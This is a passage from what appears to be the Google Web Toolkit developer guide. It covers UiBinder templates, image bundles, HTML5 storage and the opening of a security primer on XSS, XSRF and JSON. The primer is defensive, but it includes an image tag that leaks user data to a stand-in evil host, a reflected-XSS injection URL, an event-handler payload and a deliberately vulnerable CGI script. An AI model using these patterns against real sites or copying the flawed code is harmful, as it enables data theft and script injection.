public class UserDashboard extends Composite { interface MyUiBinder extends UiBinder<Widget, UserDashboard>; private static final MyUiBinder uiBinder = GWT.create(MyUiBinder.class); private final String[] teamNames; public UserDashboard(String... teamNames) { this.teamNames = teamNames; initWidget(uiBinder.createAndBindUi(this)); } /** Used by MyUiBinder to instantiate CricketScores */ @UiFactory CricketScores makeCricketScores() { // method name is insignificant return new CricketScores(teamNames); } }

...annotate a constructor...
public @UiConstructor CricketScores(String teamNames) { this(teamNames.split("[, ]+")); } <!-- UserDashboard.ui.xml --> <g:HTMLPanel xmlns:ui='urn:ui:com.google.gwt.uibinder' xmlns:g='urn:import:com.google.gwt.user.client.ui' xmlns:my='urn:import:com.my.app.widgets' > <my:WeatherReport ui:field='weather'/> <my:Stocks ui:field='stocks'/> <my:CricketScores ui:field='scores' teamNames='AUS, SAF, WA, QLD, VIC'/> </g:HTMLPanel>

...or fill in a field marked with @UiField(provided=true)
public class UserDashboard extends Composite { interface MyUiBinder extends UiBinder<Widget, UserDashboard>; private static final MyUiBinder uiBinder = GWT.create(MyUiBinder.class); @UiField(provided=true) final CricketScores cricketScores; // cannot be private public UserDashboard(CricketScores cricketScores) { // DI fans take note! this.cricketScores = cricketScores; initWidget(uiBinder.createAndBindUi(this)); } }

4.4.11.12.Apply different XML templates to the same widget
You're an MVP developer. You have a nice view interface, and a templated widget that implements it. How might you use several different XML templates for the same view? Fair warning: This is only meant to be a demonstration of using different ui.xml files with the same code. It is not a proven pattern for implementing themes in an application, and may or may not be the best way to do that.

266 / 469

public class FooPickerController { public interface Display { HasText getTitleField(); SourcesChangeEvents getPickerSelect(); } public void setDisplay(FooPickerDisplay display) { ... } } public class FooPickerDisplay extends Composite implements FooPickerController.Display { @UiTemplate("RedFooPicker.ui.xml") interface RedBinder extends UiBinder<Widget, FooPickerDisplay> {} private static RedBinder redBinder = GWT.create(RedBinder.class); @UiTemplate("BlueFooPicker.ui.xml") interface BlueBinder extends UiBinder<Widget, FooPickerDisplay> {} private static BlueBinder blueBinder = GWT.create(BlueBinder.class); @UiField HasText titleField; @UiField SourcesChangeEvents pickerSelect; public HasText getTitleField() { return titleField; } public SourcesChangeEvents getPickerSelect() { return pickerSelect; } protected FooPickerDisplay(UiBinder<Widget, FooPickerDisplay> binder) { initWidget(uiBinder.createAndBindUi(this)); } public static FooPickerDisplay createRedPicker() { return new FooPickerDisplay(redBinder); } public static FooPickerDisplay createBluePicker() { return new FooPickerDisplay(blueBinder); } }

267 / 469

4.4.12.

Bundling Image Resources

An image bundle is a construct used to improve application performance by reducing the number of round trip HTTP requests to the server to fetch images. GWT can package many image files into a single large file to be downloaded from the server and managed as a Java object.

ClientBundles Make Using Images More Efficient
Typically, an application uses many small images for icons. In HTML, each image is stored in a separate file and the browser is asked to download each file from the web server as a separate HTTP transaction. This standard way of dealing with images can be wasteful in several ways: • Large overhead: In a standard web application, an HTTP request has to be sent to the server for each image. In many cases, those images are icons and the actual image size is very small. In that case, the size of the image is often smaller than the HTTP response header that is sent back with the image data. That means that most of the traffic is overhead and very little of it actual content. Useless freshness checks: Traditional image handling is wasteful in other ways too. Even when the images have been cached by the client, a 304 ("Not Modified") request is still sent to check and see if the image has changed. Since images change infrequently, these freshness checks are also wasteful. Blocking HTTP connections: Furthermore, HTTP 1.1 requires browsers to limit the number of outgoing HTTP connections to two per domain/port. A multitude of image requests will tie up the browser's available connections, which blocks the application's RPC requests. In most applications, RPC requests are the real work that the application needs to do.

The end result of sending out many separate requests and freshness checks is slow application startup. The GWT ImageResource solves these problems. Multiple ImageResources are declared in a single ClientBundle, which is a composition of many images into a single image, along with an interface for accessing the individual images from within the composite. Users can define a ClientBundle that contains the images used by their application, and GWT will automatically create the composite image and provide an implementation of the interface for accessing each individual image. Instead of a round trip to the server for each image, only one round trip to the server for the composite image is needed. Because the filename of the composite image is based on a hash of the file's contents, the filename will change only if the composite image is changed. This means that it is safe for clients to cache the composite image permanently, which avoids the unnecessary freshness checks for unchanged images. To make this work, the server configuration needs to specify that composite images never expire. In addition to speeding up startup, image bundles prevent the "bouncy" effect of image loading in browsers. While images are loading, browsers put a standard placeholder for each image in the UI. The placeholder is a standard size because the browser does not know what the size of an image is until it has been fully downloaded from the server. The result is a 'bouncy' effect, where images 'pop' into the UI once they are downloaded. With image bundles, the size of each individual image within the bundle is discovered when the bundle is created, so the size of the image can be explicitly set whenever images from a bundle are used in an application. See the ImageBundle API documentation for important information regarding: • • • • A potential security issue with the generation of the composite image on certain versions of the JVM Caching recommendations for image bundle files Protecting image bundle files with web application security constraints Using image bundles with the HTTPS protocol

268 / 469

4.5.

HTML5 Feature Support (2.3)
What is HTML5 Storage?

4.5.1.

The HTML5 (web) storage spec is a standardized way of providing larger amounts of client-side storage and of more appropriately "partitioning" session storage and locally persistent storage. The HTML5 spec also provides for storage events to be generated and handled by interested listeners. The full impact of these features provided by HTML5 storage can best be seen by looking at client-side storage in the non-HTML5 world. Without HTML5, client-side storage for web applications is limited to the tiny storage provided by cookies (4KB per cookie, 20 cookies per domain) unless proprietary storage schemes are used, such as Flash local shared objects or Google Gears. If cookies are used they provide both session and locally persistent storage at the same time, and are accessible by all browser windows and tabs. Domain cookies are sent with every request to that domain, which consumes bandwidth. The "mechanics" of processing cookies are also a bit cumbersome. In contrast, HTML5 storage provides a much larger initial local storage (5MB per domain), unlimited session storage (limited only by system resources) and successfully partitions local and session storage so that only the data you want to persist is persisted in local storage and data you want to be transient stays transient. Moreover, session storage is only accessible from its originating tab or window; it is not shared between all browser windows and tabs. Accessing session and local storage is simple, consisting in simple reads and writes of key-value strings. Finally, local and session storage are client-side only; they are not sent with requests.

4.5.2.

Why Use HTML5 Storage?

With HTML5 local storage, a larger amount of data (initially, 5MB per application per browser) can be persistently cached client-side, which provides an alternative to server downloads. A web application can achieve better performance and provide a better user experience if it uses this local storage. For example, your web application can use local storage to cache data from RPC calls for faster startup times and for a more responsive user interface. Other uses include saving the application state locally for a faster restore when the user re-enters the application, and saving the user's work if there is a network outage, and so forth. Note: The 5MB maximum applies to local storage only, not to session storage, which is limited only by system memory. Here is a short list of some of the benefits and uses of local storage: • • • • • • • Reduce network traffic Significantly speed up display times Cache data from RPC calls Load cached data on startup (faster startup) Save temporary state Restore state upon app reentry Prevent work loss from network disconnects

Note: unlike cookies, items in Storage are not sent along in requests, which helps reduce network traffic.

269 / 469

4.5.3.

Details You Should Know About HTML5 Storage

To use HTML5 storage features, you need to know about lifespan (persistence) of local and session storage, about their scope--which windows and tabs can access the storage, and which tabs and windows can listen for storage events.

LocalStorage and SessionStorage
HTML5 Web Storage defines two types of key-value storage types: sessionStorage and localStorage. The primary behavioral difference is how long the values persist and how they are shared. The following table shows the differences between the two types of storage. Availability to other Windows/tabs Shared across every window and tab of one browser running same web app

Storage Type

Max Size 5MB per app per browser. According to the HTML5 spec, this limit can be increased by the user when needed; however, only a few browsers support this Limited only by system memory

Persistence

Data Type Supported

LocalStorage

On disk until deleted by user (delete cache) or by the app

String only, as key-value pairs

SessionStorage

Survives only as Accessible only within long as its originating the window or tab that window or tab created it

String only, as key-value pairs

How Local Storage Is Shared by the Browser
One LocalStorage per web application, with a max size of 5MB, is available for a given browser and is shared by all windows and tabs of that browser. For example, suppose you have MyWebApp running in a Chrome browser on the client. If you run MyWebApp in multiple tabs and windows, they all share the same LocalStorage data , subject to a max limit of 5MB. If you were to then open that same application in another browser, say FireFox, then the new browser would get its own LocalStorage to share with all its own tabs and windows. This is shown in the following figure:

Local Storage is String Storage
HTML5 local storage saves data in string form as key-value pairs. If the data you wish to save is not string data, you are responsible for conversion to and from string when using LocalStorage. For proxy classes used with the GWT RequestFactory, you can use RequestFactory#getSerializer() to do string serializing. For non-proxy objects, you could use JSON stringify and parse.

270 / 469

Note: Just like cookies, LocalStorage and sessionStorage can be inspected using browser tools such as Developer Tools in Chrome, Web Inspector in Safari and so forth. These tools allow a user to remove storage values and see what values are being recorded by a web site the user is visiting.

LocalStorage is Not Secure Storage
HTML5 local storage saves data unencrypted in string form in the regular browser cache. It is not secure storage. It should not be used for sensitive data, such as social security numbers, credit card numbers, logon credentials, and so forth.

How Storage Events Work
When data is added to, modified, or removed from LocalStorage or SessionStorage, a StorageEvent is fired within the current browser tab or window. That Storage event contains the storage object in which the event occurred, the URL of the document to which this storage applies, and both the old and the new values of the key that was changed. Any listener registered for this event can handle it. Note: Although the HTML5 spec calls for Storage events to be fired in all tabs of the same browser or all windows of the same browser, few browsers currently implement this.

4.5.4.
• • • • • •

HTML5 Storage Support in GWT

GWT support for the HTML5 storage feature consists of the following: com.google.gwt.storage.client.Storage (required import) LocalStorage (local storage) SessionStorage (session storage) StorageEvent (event generated by session or local storage changes) StorageEvent.Handler (interface for storage event handlers) StorageMap (exposes the Storage object as a standard Map)

Syntactic details for these can be found in the Storage feature javadoc.

4.5.5.

How to Use HTML5 Storage in Your Web Application

You get the storage object by invoking Storage.getLocalStorageIfSupported() or Storage.getSessionStorageIfSupported(), depending on the type of storage you want to access. Because your web app might be accessed from a browser that does not support HTML5, you should always check before accessing any of the HTML5 storage features. If the storage feature is supported, you get the storage object and then write data to it or read data from it, depending on your needs. If you want to delete one key-value pair from the storage, you can do that or you can clear all of the data from the storage object. 1. 2. 3. 4. 5. 6. Check for browser support Get the Storage object for your browser Read data from Storage Write data to Storage Delete data from Storage Handle Storage Events

Checking for Browser Support
GWT provides a simple way to determine whether the browser supports HTML5 storage--a built-in check when you get the storage object. You use Storage.getLocalStorageIfSupported() or Storage.getSessionStorageIfSupported(), depending on which type of storage you want to use. The storage object is returned if the feature is supported, or, if not, null is returned.

271 / 469

import com.google.gwt.storage.client.Storage; private Storage stockStore = null; stockStore = Storage.getLocalStorageIfSupported();

Getting the Storage Object
If the browser supports HTML5 storage, the Storage.getLocalStorageIfSupported method creates the storage object if it doesn't exist yet, and returns the object. If the storage object already exists, it simply returns the already-existing object. If the browser doesn't support HTML5 storage, this returns null. The Storage.getSessionStorageIfSupported() method works in the same way. Getting the storage object and checking for browser suppport of HTML5 storage are done at the same time, so the code snippet for doing this should look familiar:
import com.google.gwt.storage.client.Storage; private Storage stockStore = null; stockStore = Storage.getLocalStorageIfSupported();

Reading Data from Storage
Data is stored as key-value string pairs, so you need to use the key to get the data. You either have to know what the key is, or you'll need to iterate through the storage using indexes to get keys. Picking good naming conventions for keys can help, and the use of StorageMap can be useful as well. If the data needs to be converted from string, you are responsible for doing that. The following snippet shows an iteration through the contents of storage, with each item in storage then being written to a separate row in a FlexTable. For simplicity, this assumes all of storage is used only for that FlexTable.
import com.google.gwt.storage.client.Storage; private FlexTable stocksFlexTable = new FlexTable(); private Storage stockstore = null; stockStore = Storage.getLocalStorageIfSupported(); if (stockStore != null){ for (int i = 0; i < stockStore.getLength(); i++){ String key = stockStore.key(i); stocksFlexTable.setText(i+1, 0, stockStore.getItem(key)); stocksFlexTable.setWidget(i+1, 2, new Label()); } }

Using StorageMap to do a Quick Check for Specific Key or Value
If you want to quickly check whether a specific key or a specific value is present in the storage, you can use the StorageMap object by supplying the storage to the StorageMap constructor, then using its containsValue() or containsKey() methods. In the following snippet, we use a StorageMap to see if a certain value is already in the storage, and if it is not yet stored, we write the data to storage.
stockStore = Storage.getLocalStorageIfSupported(); if (stockStore != null) { stockMap = new StorageMap(stockStore); if (stockMap.containsValue(symbol)!= true){ int numStocks = stockStore.getLength(); stockStore.setItem("Stock."+numStocks, symbol); }

Writing Data to Storage
To write data, you supply a key name and the string value you wish to save. You can only write string data, so you need to do any conversions from other data types or from objects. (If the object is a proxy used with the GWT RequestFactory, you can use RequestFactory#getSerializer() to do string serializing. For non-proxy objects, you could use JSON stringify and parse.).

272 / 469

Judicious use of naming conventions can help with processing storage data. For example, in a web app named MyWebApp, key-value data associated with rows in a UI table named Stock could have key names prefixed with MyWebApp.Stock. In the following snippet, which is part of an Add button click handler, a text value is read from a textbox and saved, with the key name concatenated from a prefix and the current number of items in the storage.
import com.google.gwt.storage.client.Storage; final String symbol = newSymbolTextBox.getText().toUpperCase().trim(); stockStore = Storage.getLocalStorageIfSupported(); if (stockStore != null) { int numStocks = stockStore.getLength(); stockStore.setItem("Stock."+numStocks, symbol); }

Deleting Data from Storage
You can delete a single key-value pair of data from the storage or you can delete all the data all at once.

Deleting a Specific Key-Value Pair
If you want to delete specific piece of data and you know the key name, you simply supply the key name to the removeItem method like this: myStorage.removeItem(myKey); If you don't know the key, or need to process a list of keys, you can iterate through the storage using the key method, like this: myStorage.key(myIndexValue);

Clearing the Entire Storage
To clear the storage used by your web app, invoke the clear() method, like this: myStorage.clear(); The following sample snippet provides an example of one way to integrate this method with a UI, in this case a FlexTable that displays items from the storage. The user clears the UI and the storage by clicking on a Clear All button. In the button-click handler we just use the count of items in the storage to iterate through and remove rows from the UI, and when that is done, we delete all the storage data. (To keep things simple, we used the storage only for populating the FlexTable.)
import com.google.gwt.storage.client.Storage; import com.google.gwt.event.dom.client.ClickEvent; import com.google.gwt.event.dom.client.ClickHandler; import com.google.gwt.user.client.ui.Button; import com.google.gwt.user.client.ui.FlexTable; import com.google.gwt.user.client.ui.Widget; // Listen for mouse events on the Clear all button. clearAllButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { // note that in general, events can have sources that are not Widgets. Widget sender = (Widget) event.getSource(); //If HTML5 storage is supported, clear all rows from the FlexTable UI, //then clear storage if (sender == clearAllButton) { stockStore = Storage.getLocalStorageIfSupported(); if (stockStore !=null) { for (int ix =0; ix < stockStore.getLength(); ix++) { stocksFlexTable.removeRow(1); } stockStore.clear();} } } // if sender is the clear all button });

Handling Storage Events
You can register storage event handlers with a storage object, and these are invoked for the current window or tab when data is written to or deleted from the storage. Although the HTML5 spec states that storage events fire in all windows and tabs of the browser, this should not be assumed because few browsers implement this. Notice that if the

273 / 469

storage is cleared, the event does not contain any information about the deleted key-value pairs. The storage event handlers get a storage event object that contains various useful information, such as the old value and the new value, in the case of an update to an existing key-value pair. The following can be obtained from the StorageEvent object: Method getKey getNewValue getOldValue getStorageArea getURL Returns the key being changed. Returns the value of the key after the change, or null if not changed or if it is the result of a Storage.clear() operation. Returns the value of the key before the change, or null if not changed or if it is the result of a Storage.clear() operation. Returns the SessionStorage or LocalStorage object where the event occurred. The address of the document in which the change occurred. Description

The following snippet shows a sample event handler registered with a storage, where the changes from the incoming events are displayed in a UI label.
import com.google.gwt.storage.client.Storage; import com.google.gwt.storage.client.StorageEvent; private Storage stockstore = null; stockStore = Storage.getLocalStorageIfSupported(); if (stockStore != null) { stockStore.addStorageEventHandler(new StorageEvent.Handler() { public void onStorageChange(StorageEvent event) { lastStockLabel.setText("Last Update: "+event.getNewValue() +": " +event.getOldValue() +": " +event.getUrl()); } });

274 / 469

4.6.

Security (2.1, 2.2, 2.3)

If not guarded against, JavaScript applications can be vulnerable to several types of security exploits. Because the Google Web Toolkit (GWT) produces JavaScript code, that code is is also vulnerable to JavaScript attacks. This section helps educate GWT developers about the risks and explains how to write secure GWT applications. 1. Security for GWT Applications – Describes different types of attacks you can expect, and how to code against them 2. SafeHtml – Provides coding guidelines with examples showing how to protect your application from XSS vulnerabilities due to untrusted data 3. GWT RPC XSRF protection – Describes how to prevent Cross-Site Request Forgery (XSRF or CSRF) vulnerabilities GWT RPCs

4.6.1.

Security for GWT Applications

Dan Morrill, Google Developer Relations Team Updated January 2009 It is a sad truth that JavaScript applications are easily left vulnerable to several types of security exploits, if developers are unwary. Because the Google Web Toolkit (GWT) produces JavaScript code, we GWT developers are no less vulnerable to JavaScript attacks than anyone else. However, because the goal of GWT is to allow developers to focus on their users' needs instead of JavaScript and browser quirks, it's easy to let our guards down. To make sure that GWT developers have a strong appreciation of the risks, we've put together this article. GWT's mission is to provide developers with the tools they need to build AJAX apps that make the web a better place for end users. However, the apps we build have to be secure as well as functional, or else our community isn't doing a very good job at our mission. This article is a primer on JavaScript attacks, intended for GWT developers. The first portion describes the major classes of attacks against JavaScript in general terms that are applicable to any AJAX framework. After that background information on the attacks, the second portion describes how to secure your GWT applications against them. 1. Part 1: JavaScript Vulnerabilities 1. Leaking Data 2. Cross-Site Scripting 3. Forging Requests 4. JSON and XSRF 2. Part 2: How GWT Developers Can Fight Back 1. XSS and GWT 2. XSRF and GWT 3. JSON and GWT 3. Conclusion

4.6.1.1.

Part 1: JavaScript Vulnerabilities

These problems, like so many others on the Internet, stem from malicious programmers. There are people out there who spend a huge percentage of their lives thinking of creative ways to steal your data. Vendors of web browsers do their part to stop those people, and one way they accomplish it is with the Same-Origin Policy. The Same-Origin Policy (SOP) says that code running in a page that was loaded from Site A can't access data or network resources belonging to any other site, or even any other page (unless that other page was also loaded from Site A.) The goal is to prevent malicious hackers from injecting evil code into Site A that gathers up some of your private data and sends it to their evil Site B. This is, of course, the well-known restriction that prevents your AJAX code from making an XMLHTTPRequest call to a URL that isn't on the same site as the current page. Developers familiar with Java Applets will recognize this as a very similar security policy. There is, however, a way around the Same-Origin Policy, and it all starts with trust. A web page owns its own data, of course, and is free to submit that data back to the web site it came from. JavaScript code that's already running is trusted to not be evil, and to know what it's doing. If code is already running, it's too late to stop it from doing anything evil anyway, so you might as well trust it. One thing that JavaScript code is trusted to do is load more content. For example, you might build a basic image gallery application by writing some JavaScript code that inserts and deletes <img> tags into the current page. When you insert an <img> tag, the browser immediately loads the image as if it had been present in the original page; if you delete (or 275 / 469

hide) an <img> tag, the browser removes it from the display. Essentially, the SOP lets JavaScript code do anything that the original HTML page could have done -- it just prevents that JavaScript from sending data to a different server, or from reading or writing data belonging to a different server.

Leaking Data
The text above said, "prevents JavaScript from sending data to a different server." Unfortunately, that's not strictly true. In fact it is possible to send data to a different server, although it might be more accurate to say "leak." JavaScript is free to add new resources -- such as <img> tags -- to the current page. You probably know that you can cause an image hosted on foo.com to appear inline in a page served up by bar.com. Indeed, some people get upset if you do this to their images, since it uses their bandwidth to serve an image to your web visitor. But, it's a feature of HTML, and since HTML can do it, so can JavaScript. Normally you would view this as a read-only operation: the browser requests an image, and the server sends the data. The browser didn't upload anything, so no data can be lost, right? Almost, but not quite. The browser did upload something: namely, the URL of the image. Images use standard URLs, and any URL can have query parameters encoded in it. A legitimate use case for this might be a page hit counter image, where a CGI on the server selects an appropriate image based on a query parameter and streams the data to the user in response. Here is a reasonable (though hypothetical) URL that could return a hit-count image showing the number '42':

http://site.domain.tld/pagehits?count=42
In the static HTML world, this is perfectly reasonable. After all, the server is not going to send the client to a web site that will leak the server's or user's data -- at least, not on purpose. Because this technique is legal in HTML, it's also legal in JavaScript, but there is an unintended consequence. If some evil JavaScript code gets injected into a good web page, it can construct <img> tags and add them to the page. It is then free to construct a URL to any hostile domain, stick it in an <img> tag, and make the request. It's not hard to imagine a scenario where the evil code steals some useful information and encodes it in the <img> URL; an example might be a tag such as:
<img src="http://evil.domain.tld/pagehits?private_user_data=12345"/>

If private_user_data is a password, credit card number, or something similar, there'd be a major problem. If the evil code sets the size of the image to 1 pixel by 1 pixel, it's very unlikely the user will even notice it.

Cross-Site Scripting
The type of vulnerability just described is an example of a class of attacks called "Cross-Site Scripting" (abbreviated as "XSS"). These attacks involve browser script code that transmits data (or does even worse things) across sites. These attacks are not limited to &t;img> tags, either; they can be used in most places the browser lets script code access URLs. Here are some more examples of XSS attacks: • Evil code creates a hidden iframe and then adds a <form> to it. The form's action is set to a URL on a server under the attacker's control. It then fills the form with hidden fields containing information taken from the parent page, and then submits the form. Evil code creates a hidden iframe, constructs a URL with query parameters containing information taken from the parent page, and then sets the iframe's "src" to a URL on a server under the attacker's control. Evil code creates a <script> tag, which functions almost identically to the <img> attack. (Actually, it's a lot worse, as I'll explain in a later section.)

Clearly, if evil code gets into your page, it can do some nasty stuff. By the way, don't take my examples above as a complete list; there are far too many variants of this trick to describe here. Throughout all this there's a really big assumption, though: namely, that evil JavaScript code could get itself into a good page in the first place. This sounds like it should be hard to do; after all, servers aren't going to intentionally include evil code in the HTML data they send to web browsers. Unfortunately, it turns out to be quite easy to do if the server (and sometimes even client) programmers are not constantly vigilant. And as always, evil people are spending huge chunks of their lives thinking up ways to do this. The list of ways that evil code can get into an otherwise good page is endless. Usually they all boil down to unwary code that parrots user input back to the user. For instance, this Python CGI code is vulnerable:

276 / 469

import cgi f = cgi.FieldStorage() name = f.getvalue('name') or 'there' s = '<html><body><div>Hello, ' + name + '!</div></body></html>' print 'Content-Type: text/html' print 'Content-Length: %s' % (len(s),) print print s

The code is supposed to print a simple greeting, based on a form input. For instance, a URL like this one would print "Hello, Dan!":

http://site.domain.tld/path?name=Dan
However, because the CGI doesn't inspect the value of the "name" variable, an attacker can insert script code in there. Here is some JavaScript that pops up an alert window:
<script>alert('Hi');</script>

That script code can be encoded into a URL such as this:

http://site.domain.tld/path?name=Dan%3Cscript%20%3Ealert%28%22Hi%22%29%3B %3C/script%3E
That URL, when run against the CGI above, inserts the <script> tag directly into the <div> block in the generated HTML. When the user loads the CGI page, it still says "Hello, Dan!" but it also pops up a JavaScript alert window. It's not hard to imagine an attacker putting something worse than a mere JavaScript alert in that URL. It's also probably not hard to imagine how easy it is for your real-world, more complex server-side code to accidentally contain such vulnerabilities. Perhaps the scariest thing of all is that an evil URL like the one above can exploit your servers entirely without your involvement. The solution is usually simple: you just have to make sure that you escape or strip the content any time you write user input back into a new page. Like many things though, that's easier said than done, and requires constant vigilance.

Forging Requests
It would be nice if we could wrap up this article at this point. Unfortunately, we can't. You see, there's a whole other class of attack that we haven't covered yet. You can think of this one almost as XSS in reverse. In this scenario, the attacker lures one of your users to their own site, and uses their browser to attack your server. The key to this attack is insecure server-side session management. Probably the most common way that web sites manage sessions is via browser cookies. Typically the server will present a login page to the user, who enters credentials like a user name and password and submits the page. The server checks the credentials and if they are correct, sets a browser session cookie. Each new request from the browser comes with that cookie. Since the server knows that no other web site could have set that cookie (which is true due to the browsers' Same-Origin Policy,) the server knows the user has previously authenticated. The problem with this approach is that session cookies don't expire when the user leaves the site (they expire either when the browser closes or after some period of time). Since the browsers will include cookies with any request to your server regardless of context, if your users are logged in, it's possible for other sites to trigger an action on your server. This is frequently referred to as "Cross-Site Request Forging" or XSRF (or sometimes CSRF). The sites most vulnerable to XSRF attacks, perhaps ironically, are those that have already embraced the serviceoriented model. Traditional non-AJAX web applications are HTML-heavy and require multi-page UI operations by their very nature. The Same-Origin Policy prevents an XSRF attacker from reading the results of its request, making it impossible for an XSRF attacker to navigate a multi-page process. The simple technique of requiring the user to click a confirmation button -- when properly implemented -- is enough to foil an XSRF attack. Unfortunately, eliminating those sorts of extra steps is one of the key goals of the AJAX programming model. AJAX lets an application's UI logic run in the browser, which in turn lets communications with the server become narrowly defined operations. For instance, you might develop corporate HR application where the server exposes a URL that lets browser clients email a user's list of employee data to someone else. Such services are operation-oriented, meaning that a single HTTP request is all it takes to do something. Since a single request triggers the operation, the XSRF attacker doesn't need to see the response from an 277 / 469

XMLHTTPRequest-style service. An AJAX-based HR site that exposes "Email Employee Data" as such a service could be exploited via an XSRF attack that carefully constructed a URL that emails the employee data to an attacker. As you can see, AJAX applications are a lot more vulnerable to an XSRF attack than a traditional web site, because the attacking page doesn't need to navigate a multi-page sequence after all.

JSON and XSRF
So far we've seen the one-two punch from XSS and XSRF. Sadly, there's still more. These days, JSON (JavaScript Object Notation) is the new hotness -- and indeed, it's very hot. It's a clever, even elegant, technique. It also performs well, since it uses low-level (meaning: fast) browser support to handle parsing. It's also easy to program to, since the result is a JavaScript object, meaning you get object serialization almost for free. Unfortunately, with this powerful technique comes very substantial risks to your code; if you choose to use JSON with your GWT application, it's important to understand those risks. At this point, you'll need to understand JSON; check out the json.org site if you aren't familiar with it yet. A cousin of JSON is "JSON with Padding" or JSONP, so you'll also want to be familiar with that. Here's the earliest discussion of JSONP that we could find: Remote JSON - JSONP. As bad as XSS and XSRF are, JSON gives them room to breathe, so to speak, which makes them even more dangerous. The best way to explain this is just to describe how JSON is used. There are three forms, and each is vulnerable to varying degrees: • A JSON string returned as the response text from an XMLHTTPRequest call (or other request) Examples:
[ 'foo', 'bar' ] { 'data': ['foo', 'bar'] }

Typically these strings are parsed via a call to JavaScript's 'eval' function for fast decoding. • A string containing a JSON object assigned to a variable, returned by a server as the response to a <script> tag. Example:
var result = { 'data': ['foo', 'bar'] };

A string containing a JSON object passed as the parameter to a function call -- that is, the JSONP model. Example:
handleResult({'data': ['foo', 'bar']});

The last two examples are most useful when returned from a server as the response to a <script> tag inclusion. This could use a little explanation. Earlier text described how JavaScript is permitted to dynamically add <img> tags pointing to images on remote sites. The same is true of <script> tags: JavaScript code can dynamically insert new <script> tags that cause more JavaScript code to load. This makes dynamic <script> insertion a very useful technique, especially for mashups. Mashups frequently need to fetch data from different sites, but the Same-Origin Policy prevents them from doing so directly with an XMLHTTPRequest call. However, currently-running JavaScript code is trusted to load new JavaScript code from different sites -- and who says that code can't actually be data? This concept might seem suspicious at first since it seems like a violation of the Same-Origin restriction, but it really isn't. Code is either trusted or it's not. Loading more code is more dangerous than loading data, so since your current code is already trusted to load more code, why should it not be trusted to load data as well? Meanwhile, <script> tags can only be inserted by trusted code in the first place, and the entire meaning of trust is that... you trust it to know what it's doing. It's true that XSS can abuse trust, but ultimately XSS can only originate from buggy server code. Same-Origin is based on trusting the server -- bugs and all. So what does this mean? How is writing a server-side service that exposes data via these methods vulnerable? Well, other people have explained this a lot better than we can cover it here. Here are some good treatments: • • JSON is not as safe as people think it is Safe JSON

Go ahead and read those -- and be sure to follow the links! Once you've digested it all, you'll probably see that you should tread carefully with JSON -- whether you're using GWT or another tool.

278 / 469

4.6.1.2.

Part 2: How GWT Developers Can Fight Back

But this is an article for GWT developers, right? So how are GWT developers affected by these things? The answer is that we are no less vulnerable than anybody else, and so we have to be just as careful. The sections below describe how each threat impacts GWT in detail.

XSS and GWT
Also see SafeHtml – Provides coding guidelines with examples showing how to protect your application from XSS vulnerabilities due to untrusted data XSS can be avoided if you rigorously follow good JavaScript programming practices. Since GWT helps you follow good JavaScript practices in general, it can help you with XSS. However, GWT developers are not immune, and there simply is no magic bullet. Currently, we believe that GWT isolates your exposure to XSS attacks to these vectors: • • • • JavaScript on your host page that is unrelated to GWT Code you write that sets innerHTML on GWT Widget objects Using the JSON API to parse untrusted strings (which ultimately calls JavaScript's eval function) JavaScript Native Interface (JSNI) code that you write that does something unsafe (such as setting innerHTML, calling eval, writing directly to the document via document.write, etc.)

Don't take our word for it, though! Nobody's perfect, so it's important to always keep security on your mind. Don't wait until your security audit finds a hole, think about it constantly as you code. Read on for more detail on the four vectors above.

Non-GWT JavaScript
Many developers use GWT along with other JavaScript solutions. For instance, your application might be using a mashup with code from several sites, or you might be using a third-party JavaScript-only library with GWT. In these cases, your application could be vulnerable due to those non-GWT libraries, even if the GWT portion of your application is secure. If you are mixing other JavaScript code with GWT in your application, it's important that you review all the pieces to be sure your entire application is secure.

Code that sets innerHTML
It's a common technique to fill out the bodies of tables, DIVs, frames, and similar UI elements with some static HTML content. This is most easily accomplished by assigning to the innerHTML attribute on a JavaScript object. However, this can be risky since it allows evil content to get inserted directly into a page. Here's an example. Consider this basic JavaScript page:
<html> <head> <script language="JavaScript"> function fillMyDiv(newContent) { document.getElementById('mydiv').innerHTML = newContent; } </script> </head> <body> <p>Some text before mydiv.</p> <div id="mydiv"></div> <p>Some text after mydiv.</p> </body> </html>

The page contains a placeholder <div> named 'mydiv', and a JavaScript function that simply sets innerHTML on that div. The idea is that you would call that function from other code on your page whenever you wanted to update the content being displayed. However, suppose an attacker contrives to get a user to pass in this HTML as the 'newContent' variable: <div onmousemove="alert('Hi!');">Some text</div> Whenever the user mouses over 'mydiv', an alert will appear. If that's not frightening enough, there are other techniques -- only slightly more complicated -- that can execute code immediately without even needing to wait for user input. This is why setting innerHTML can be dangerous; you've got to be sure that the strings you use are trusted. 279 / 469

It's also important to realize that a string is not necessarily trusted just because it comes from your server! Suppose your application contains a report, which has "edit" and "view" modes in your user interface. For performance reasons, you might generate the custom-printed report in plain-old HTML on your server. Your GWT application would display it by using a RequestCallback to fetch the HTML and assign the result to a table cell's innerHTML property. You might assume that that string is trusted since your server generated it, but that could be a bad assumption. If the user is able to enter arbitrary input in "edit" mode, an attacker could use any of a variety of attacks to get the user to store some unsafe HTML in a record. When the user views the record again, that record's HTML would be evil. Unless you do an extremely thorough analysis of both the client and server, you can't assume a string from your server is safe. To be truly safe, you may want to always assume that strings destined for innerHTML or eval are unsafe, but at the very least you've got to Know Your Code.

Parsing JSON Strings
This is a very similar scenario to setting innerHTML, although with arguably worse implications. Suppose that you have the same example as the one just described, except that instead of returning HTML content, the server sends the report data to the browser as a JSON string. You would normally pass that string to GWT's JSONParser class. For performance reasons, though, that string calls eval(). It's important to be sure that the code you are passing doesn't contain evil code. An attacker could again use one of several attacks to cause the user to save carefully-constructed JavaScript code into one of your data records. That code could contain evil side effects that take effect immediately when the JSON object is parsed. This is just as severe as innerHTML but is actually easier to do since the attacker doesn't need to play tricks with HTML in the evil string -- he can just use plain JavaScript code. As with innerHTML, it's not always correct to assume that a JSON string is safe simply because it came from your server. At the very least, it is important to think carefully before you use any JSON service, whether it's yours or a third party's.

Your Own JSNI Code
GWT has little control over or insight into JSNI code you write. If you write JSNI code, it's important to be especially cautious. Calling the eval function or setting innerHTML should set off red flags immediately, but you should always think carefully as you write code. For instance, if you're writing a custom Widget that includes a hyperlink, you might include a setURL(String) method. If you do, though, you should consider adding a test to make sure that the new URL data doesn't actually contain a "javascript:" URL. Without this test, your setURL method could create a new vector for XSS code to get into your application. This is just one possible example; always think carefully about unintended effects when you use JSNI.

Protecting Your Application
